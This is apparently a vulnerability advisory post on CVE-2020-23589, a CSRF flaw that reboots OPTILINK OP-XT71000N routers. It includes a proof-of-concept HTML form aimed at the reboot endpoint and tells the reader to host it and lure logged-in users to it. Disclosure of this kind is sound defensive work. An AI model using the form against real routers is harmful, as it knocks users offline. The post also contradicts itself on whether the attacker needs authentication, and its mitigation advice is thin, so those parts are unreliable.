OPTILINK OP-XT71000N, a widely used router in homes and small offices, has been found to have a security vulnerability that could allow for an unauthenticated, remote attacker to carry out a cross-site request forgery (CSRF) attack. Successfully exploiting this vulnerability could lead to a Denial of Service (DoS) situation by rebooting the router through the "/mgm_dev_reboot.asp" endpoint. This vulnerability is assigned the CVE number CVE-2020-23589.

Original References

1. CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-23589
2. National Vulnerability Database - https://nvd.nist.gov/vuln/detail/CVE-2020-23589
3. Exploit Database - https://www.exploit-db.com/exploits/48750

Technical Background and Exploit Details

A CSRF attack can allow an attacker to force authenticated users to execute unwanted actions on a web application they are currently authenticated with. These types of attacks exploit cases where authenticated users don't undertake an additional security measure like a CAPTCHA or a confirmation prompt when submitting input or interacting with forms.

The vulnerability in the OPTILINK OP-XT71000N router allows an unauthenticated, remote attacker to send a crafted request to force the router to reboot through the "/mgm_dev_reboot.asp" endpoint.

Here is a code snippet that demonstrates the exploit in a simple HTML file

    <h2>CVE-2020-23589 Exploit: OPTILINK OP-XT71000N Router CSRF Attack</h2>
        <form action="http://ROUTER_IP/mgm_dev_reboot.asp"; method="POST">
          <input type="hidden" name="submit_button" value="management_DEV_REBOOT" />
          <input type="hidden" name="change_action" value="gozila_cgi" />
          <input type="hidden" name="submit_type" value="autoexec" />
          <input type="submit" value="Reboot Router" />

Replace "ROUTER_IP" with the target router's IP address and host the above HTML file on a web server. By making authenticated users access this web page while they are logged in to the router web interface, the router will reboot without any warning or consent. This can create a DoS situation, causing business and personal Internet connections to be temporarily unavailable.

Prevention and Mitigation

To prevent this vulnerability from being exploited, OPTILINK should provide a patch for their OP-XT71000N router's firmware that secures the router against CSRF attacks. The patch could include implementing additional security measures, such as CAPTCHA, additional user input validation checks, or even a confirmation prompt when submitting input or interacting with forms.

Users of the OPTILINK OP-XT71000N router should also update their firmware once the patch becomes available to reduce the risk of exploitation of this vulnerability by attackers.


This post has outlined the details of the CVE-2020-23589 vulnerability found in the OPTILINK OP-XT71000N router. An unauthenticated, remote attacker could exploit this security flaw by conducting a CSRF attack, leading to a Denial of Service scenario by rebooting the router. By sharing this information, users can become more aware of this vulnerability and take preventive measures to protect their Internet connections.


Published on: 11/23/2022 02:15:00 UTC
Last modified on: 11/23/2022 20:44:00 UTC